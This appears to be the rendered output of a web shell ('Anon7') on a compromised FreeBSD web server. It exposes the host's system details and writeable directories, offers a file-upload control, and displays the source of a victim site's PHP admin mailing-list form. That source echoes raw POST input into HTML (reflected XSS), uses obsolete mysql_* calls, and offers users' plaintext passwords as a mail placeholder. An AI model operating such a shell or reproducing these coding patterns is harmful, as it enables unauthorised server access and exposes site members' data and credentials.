KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/Membership/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/Membership/admin/mail.php
<?php
/************* Membership V2.0 *******************/
/*
Released by AwesomePHP.com, under the GPL License, a
copy of it should be attached to the zip file, or
you can view it on http://AwesomePHP.com/gpl.txt
*/
/************* Membership V2.0 *******************/	
if($is_admin == false){ die();}

?>
  <form name="mail" id="mail" method="post" action="?page=mail" style="display:inline;">
    <table width="100%"  border="1" cellspacing="0" cellpadding="5">
    <tr bgcolor="#BEDEDE">
      <td colspan="2"><div align="center"><font color="#999999" size="4"><strong>Mailing List </strong></font></div></td>
    </tr>
    <tr>
      <td width="50%"><font size="2">Subject:</font></td>
      <td width="50%"><font size="2">
        <input name="subject" type="text" id="subject" value="<?php echo $_POST['subject'];?>" class="hiddenText">
      </font></td>
    </tr>
    <tr>
      <td width="50%"><p><font size="2">Message [HTML]:</font></p>
      <p><font size="2">You can use [ONLY if sending to system users]: <br/>
          <font color="#0000FF">%username%<br/>
      %useremail%<br/>
      %userpassword%</font></font></p></td>
      <td width="50%"><font size="2">
        <textarea name="email_message" rows="10" id="email_message" class="hiddenText"><?php echo $_POST['email_message'];?></textarea>
      </font></td>
    </tr>
    <tr>
      <td width="50%"><font size="2">Return Name: </font></td>
      <td width="50%"><font size="2">
        <input name="return_name" type="text" id="return_name" value="<?php echo $_POST['return_name'];?>" class="hiddenText">
      </font></td>
    </tr>
    <tr>
      <td><font size="2">Return Email: </font></td>
      <td width="50%"><font size="2">
        <input name="return_email" type="text" id="return_email" value="<?php echo $_POST['return_email'];?>" class="hiddenText">
      </font></td>
    </tr>
    <tr>
      <td><font size="2">From Name: </font></td>
      <td width="50%"><font size="2">
        <input name="from_name" type="text" id="from_name" value="<?php echo $_POST['from_name'];?>" class="hiddenText">
      </font></td>
    </tr>
    <tr>
      <td><font size="2">From Email: </font></td>
      <td width="50%"><font size="2">
        <input name="from_email" type="text" id="from_email" value="<?php echo $_POST['from_email'];?>" class="hiddenText">
      </font></td>
    </tr>
    <tr bgcolor="#BEDEDE">
      <td colspan="2"><div align="center"><font color="#999999" size="4"><strong>Send To [Select One] </strong></font></div></td>
      </tr>
	      <tr>
      <td><font size="2"> Send to emails: [comma delimited] </font></td>
      <td width="50%">
        <table width="100%"  border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="15" bgcolor="#CAFFCA"><font size="2">
              <input name="sendOp" type="radio" value="1"<?php echo $sel;?>>
            </font></td>
            <td><font size="2">
              <input name="to_emails" type="text" id="to_emails" value="<?php echo $_POST['to_emails'];?>" class="hiddenText">
            </font></td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td width="50%"><font size="2">or Send to system users: </font></td>
      <td width="50%">
	    <table width="100%"  border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="15" bgcolor="#CAFFCA"><font size="2">
              <input name="sendOp" type="radio" value="2" checked checked<?php echo $sel;?>>
            </font></td>
            <td><font size="2">
            <?php if($_POST['send_to'] == '1' || $_POST['send_to'] == NULL){$sel = ' checked';}else{$sel=NULL;}?>
            <input name="send_to" type="radio" value="1"<?php echo $sel;?>>
Those opted in
<?php if($_POST['send_to'] == '2'){$sel = ' checked';}else{$sel=NULL;}?>
<input name="send_to" type="radio" value="2"<?php echo $sel;?>>
All users </font></td>
          </tr>
        </table>
	    </td>
    </tr>
    <tr>
      <td><font size="2">or To certain membership users:</font></td>
      <td width="50%"><table width="100%"  border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="15" bgcolor="#CAFFCA"><font size="2">
            <input name="sendOp" type="radio" value="3"<?php echo $sel;?>>
          </font></td>
          <td><font size="2">
            <select id="membership_id" name="membership_id" class="hiddenText">
              <?php
	  $query = mysql_query("SELECT * FROM `memb_memberships`");
	  
	  while($em = mysql_fetch_assoc($query)){
	  	if($_POST['membership_id'] == $em['membership_id']){ $sel= ' selected';}else{$sel=NULL;}
	  	echo '<option value="'.$em['membership_id'].'"'.$sel.'>'.$em['membership_title'].'</option>';
	  }
	  ?>
            </select>
          </font></td>
        </tr>
      </table></td>
    </tr>
    <tr bgcolor="#BEDEDE">
      <td colspan="2"><div align="center">
        <input type="submit" name="Submit" value="Send">
        <input name="doid" type="hidden" id="doid" value="5">
        </div></td>
    </tr>
  </table>
</form>

Anon7 - 2021